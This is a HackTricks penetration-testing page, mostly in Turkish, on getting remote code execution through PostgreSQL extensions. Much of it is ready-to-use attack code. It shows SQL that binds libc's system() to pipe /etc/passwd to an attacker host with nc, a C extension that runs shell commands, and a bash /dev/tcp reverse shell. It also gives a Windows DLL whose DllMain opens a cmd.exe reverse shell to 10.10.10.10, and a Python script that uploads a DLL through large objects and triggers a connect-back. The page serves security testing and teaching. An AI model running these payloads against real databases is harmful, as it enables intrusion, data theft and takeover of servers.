RCE with PostgreSQL Extensions

Reading time: 10 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

PostgreSQL Extensions

PostgreSQL, genişletilebilirliği temel bir özellik olarak geliştirilmiştir ve uzantıları, sanki yerleşik işlevler gibi sorunsuz bir şekilde entegre etmesine olanak tanır. Bu uzantılar, esasen C dilinde yazılmış kütüphaneler olup, veritabanını ek işlevler, operatörler veya türlerle zenginleştirir.

8.1 sürümünden itibaren, uzantı kütüphaneleri için belirli bir gereklilik getirilmiştir: özel bir başlık ile derlenmeleri gerekmektedir. Bunu yapmadan PostgreSQL, bunları çalıştırmayacak ve yalnızca uyumlu ve potansiyel olarak güvenli uzantıların kullanılmasını sağlayacaktır.

Ayrıca, eğer PostgreSQL'i kötüye kullanarak kurbanın dosyalarını nasıl yükleyeceğinizi bilmiyorsanız, bu yazıyı okumalısınız. upload files to the victim abusing PostgreSQL you should read this post.

RCE in Linux

Daha fazla bilgi için kontrol edin: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

PostgreSQL 8.1 ve önceki sürümlerden sistem komutlarının yürütülmesi, açıkça belgelenmiş ve basit bir süreçtir. Bunu kullanmak mümkündür: Metasploit module.

sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Base64'ten ikili dosya yazma

Postgres'te bir ikili dosyayı yazmak için base64 kullanmanız gerekebilir, bu konuda yardımcı olacaktır:

sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Ancak, daha büyük sürümlerde denendiğinde aşağıdaki hata gösterildi:

c
ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Bu hata, PostgreSQL belgelerinde açıklanmaktadır:

Dinamik olarak yüklenen bir nesne dosyasının uyumsuz bir sunucuya yüklenmediğinden emin olmak için, PostgreSQL dosyanın uygun içeriklere sahip bir "sihirli blok" içerip içermediğini kontrol eder. Bu, sunucunun PostgreSQL'in farklı ana sürümü için derlenmiş kod gibi belirgin uyumsuzlukları tespit etmesine olanak tanır. PostgreSQL 8.2 itibarıyla bir sihirli blok gereklidir. Bir sihirli blok eklemek için, bu kodu modül kaynak dosyalarından birine (ve yalnızca birine) yazın, fmgr.h başlığını ekledikten sonra:

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PostgreSQL 8.2 sürümünden itibaren, bir saldırganın sistemi istismar etme süreci daha zor hale getirilmiştir. Saldırganın ya sistemde zaten mevcut bir kütüphaneyi kullanması ya da özel bir kütüphane yüklemesi gerekmektedir. Bu özel kütüphane, uyumlu ana PostgreSQL sürümüne karşı derlenmeli ve belirli bir "sihirli blok" içermelidir. Bu önlem, PostgreSQL sistemlerini istismar etmeyi önemli ölçüde zorlaştırır, çünkü sistemin mimarisi ve sürüm uyumluluğu hakkında daha derin bir anlayış gerektirir.

Kütüphaneyi derleyin

PostgreSQL sürümünü almak için:

sql
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Uyumluluk için, ana sürümlerin uyumlu olması gereklidir. Bu nedenle, 9.6.x serisindeki herhangi bir sürümle bir kütüphane derlemek, başarılı bir entegrasyonu sağlamalıdır.

Bu sürümü sisteminize kurmak için:

bash
apt install postgresql postgresql-server-dev-9.6

Ve kütüphaneyi derleyin:

c
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Sonra derlenmiş kütüphaneyi yükleyin ve komutları şu şekilde çalıştırın:

bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Bu kütüphaneyi önceden derlenmiş olarak çeşitli PostgreSQL sürümlerinde bulabilirsiniz ve hatta bu süreci otomatikleştirebilirsiniz (eğer PostgreSQL erişiminiz varsa) ile:

GitHub - dionach/pgexec: Script and resources to execute shell commands using access to a PostgreSQL service

Windows'ta RCE

Aşağıdaki DLL, ikili dosyanın adını ve kaç kez çalıştırmak istediğinizi girdi olarak alır ve çalıştırır:

c
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Bu zip dosyasında derlenmiş DLL'yi bulabilirsiniz:

Bu DLL'ye hangi ikili dosyanın çalıştırılacağını ve kaç kez çalıştırılacağını belirtebilirsiniz, bu örnekte calc.exe 2 kez çalıştırılacaktır:

bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

burada bu ters kabuğu bulabilirsiniz:

c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Bu durumda kötü niyetli kodun DllMain fonksiyonu içinde olduğunu unutmayın. Bu, bu durumda postgresql'de yüklenen fonksiyonu çalıştırmanın gerekli olmadığı anlamına gelir, sadece DLL'yi yüklemek ters shell'i çalıştıracaktır:

c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

PolyUDF projesi, tam MS Visual Studio projesi ve çoklu versiyon desteği olan kullanıma hazır bir kütüphane (şunları içerir: command eval, exec ve cleanup) ile iyi bir başlangıç noktasıdır.

En yeni PostgreSQL sürümlerinde RCE

En son sürümlerde PostgreSQL'de, superuser'ın belirli dizinler dışında paylaşılan kütüphane dosyalarını yüklemesi yasaklanmıştır, örneğin Windows'ta C:\Program Files\PostgreSQL\11\lib veya *nix sistemlerinde /var/lib/postgresql/11/lib. Bu dizinler, NETWORK_SERVICE veya postgres hesapları tarafından yazma işlemlerine karşı güvenli hale getirilmiştir.

Bu kısıtlamalara rağmen, kimlik doğrulaması yapılmış bir veritabanı superuser'ının "büyük nesneler" kullanarak dosya sistemine ikili dosyalar yazması mümkündür. Bu yetenek, veritabanı işlemleri için gerekli olan C:\Program Files\PostgreSQL\11\data dizininde yazma işlemini de kapsar; bu, tabloları güncelleme veya oluşturma gibi işlemler için gereklidir.

CREATE FUNCTION komutundan kaynaklanan önemli bir güvenlik açığı, veri dizinine dizin geçişine izin vermesidir. Sonuç olarak, kimlik doğrulaması yapılmış bir saldırgan, bu geçişi istismar ederek veri dizinine bir paylaşılan kütüphane dosyası yazabilir ve ardından yükleyebilir. Bu istismar, saldırgana sistemde rastgele kod çalıştırma yeteneği sağlar.

Saldırı akışı

Öncelikle dll'yi yüklemek için büyük nesneleri kullanmalısınız. Bunu nasıl yapacağınızı burada görebilirsiniz:

Big Binary Files Upload (PostgreSQL)

Uzantıyı (bu örnek için poc.dll adıyla) veri dizinine yükledikten sonra, bunu şu şekilde yükleyebilirsiniz:

c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Not edinmeniz gereken .dll uzantısını eklemenize gerek yoktur çünkü create fonksiyonu bunu ekleyecektir.

Daha fazla bilgi için orijinal yayını buradan okuyun.
O yayında bu, postgres uzantısını oluşturmak için kullanılan koddu (bir postgres uzantısını nasıl derleyeceğinizi öğrenmek için önceki sürümlerden herhangi birini okuyun).
Aynı sayfada bu teknik otomatikleştirmek için bir exploit verildi:

python
#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin